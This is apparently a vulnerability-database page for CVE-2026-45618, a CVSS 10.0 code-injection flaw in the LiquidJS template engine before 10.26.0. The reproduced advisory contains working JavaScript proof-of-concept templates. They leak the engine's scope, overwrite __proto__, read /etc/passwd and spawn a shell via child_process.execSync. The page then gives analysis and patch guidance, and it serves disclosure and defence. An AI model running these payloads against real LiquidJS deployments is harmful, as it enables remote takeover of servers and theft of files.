Skip to main content

LiquidJS CVE-2026-45618

CRITICAL
Code Injection (CWE-94)
2026-05-27 https://github.com/harttle/liquidjs GHSA-gf2q-c269-pqgc
10.0
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVE Published
Jun 22, 2026 - 06:03 cve.org
CRITICAL 10.0
Source Code Evidence Fetched
May 27, 2026 - 20:17 vuln.today
Analysis Generated
May 27, 2026 - 20:17 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 12 npm packages depend on liquidjs (6 direct, 6 indirect)

Ecosystem-wide dependent count for version 10.26.0.

DescriptionGitHub Advisory

Summary

It is possible to execute arbitrary code with crafted templates

Details

<details> <summary> 1|valueOf -> this when evaluating the filter

</summary>

liquid
{%assign r=1|valueOf%}
{{r|inspect}}
json
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}

</details>

<details> <summary> function calls with a controlled first argument via comprable

</summary>

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />

</details>

<details><summary>changing the prototype of things</summary>

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}

{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />

</details>

When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

ts
  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }

PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

js
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{
# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}

{
# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{
# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());

Impact

_What kind of vulnerability is it? Who is impacted?_ Remote Code Execution.

AnalysisAI

Remote code execution in LiquidJS template engine versions before 10.26.0 lets an attacker who can supply template content escape the rendering context and run arbitrary Node.js code on the host. The valueOf filter leaks the engine's internal scope object (this), exposing the parser, filter registry, and ultimately the JavaScript Function constructor, which is chained into command execution. Rated CVSS 10.0 (CWE-94) with a complete working proof-of-concept published in the vendor advisory; it has publicly available exploit code but is not listed in CISA KEV, and no EPSS score was provided in the source data.

Technical ContextAI

LiquidJS (pkg:npm/liquidjs) is a JavaScript/Node.js implementation of the Shopify Liquid templating language used for server-side rendering in CMS, email, and low-code platforms. The root cause is CWE-94 (Improper Control of Generation of Code / code injection): when the built-in valueOf filter is applied to a value (e.g. 1|valueOf), the filter is invoked with this bound to the render scope, so r = 1|valueOf returns a live reference to the engine's internal context. From there the attacker traverses r.context, r.liquid, and r.liquid.parser to reach engine internals. A 'comparable gadget' abuses filters such as group_by/where/first/last, which call comparison functions with an attacker-controlled first argument while this is the scope, and uses assign __proto__ = ... prototype manipulation to control what is fed into parser.parse. This yields a reference to the Function constructor, enabling arbitrary code such as process.getBuiltinModule('child_process').execSync(...). The fix (commit 457fae0, PR #897, 'block Object.prototype filter/tag lookups (RCE)') closes the prototype-based filter/tag lookup path in v10.26.0.

RemediationAI

Upgrade liquidjs to version 10.26.0 or later (Vendor-released patch: 10.26.0), which blocks Object.prototype filter/tag lookups via commit 457fae0 (PR #897); the release is at https://github.com/harttle/liquidjs/releases/tag/v10.26.0 and details are in advisory https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc. If you cannot upgrade immediately, the most effective compensating control is to stop rendering attacker-controlled template source - treat template content as code and only render templates authored by trusted developers, moving any user input into the data/context object passed to render rather than into the template string itself (trade-off: requires refactoring any feature that lets users write Liquid). Where untrusted templates are unavoidable, isolate the rendering process in a hardened, least-privilege sandbox (e.g. a separate worker/container with no child_process access, restricted filesystem, and network egress controls) so that even a successful escape yields minimal capability (trade-off: added operational complexity and latency). Audit and remove use of the valueOf filter and custom comparison-based filters on untrusted input as a stopgap, recognizing this does not fully close the gadget chain and is not a substitute for the patch.

Share

CVE-2026-45618 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy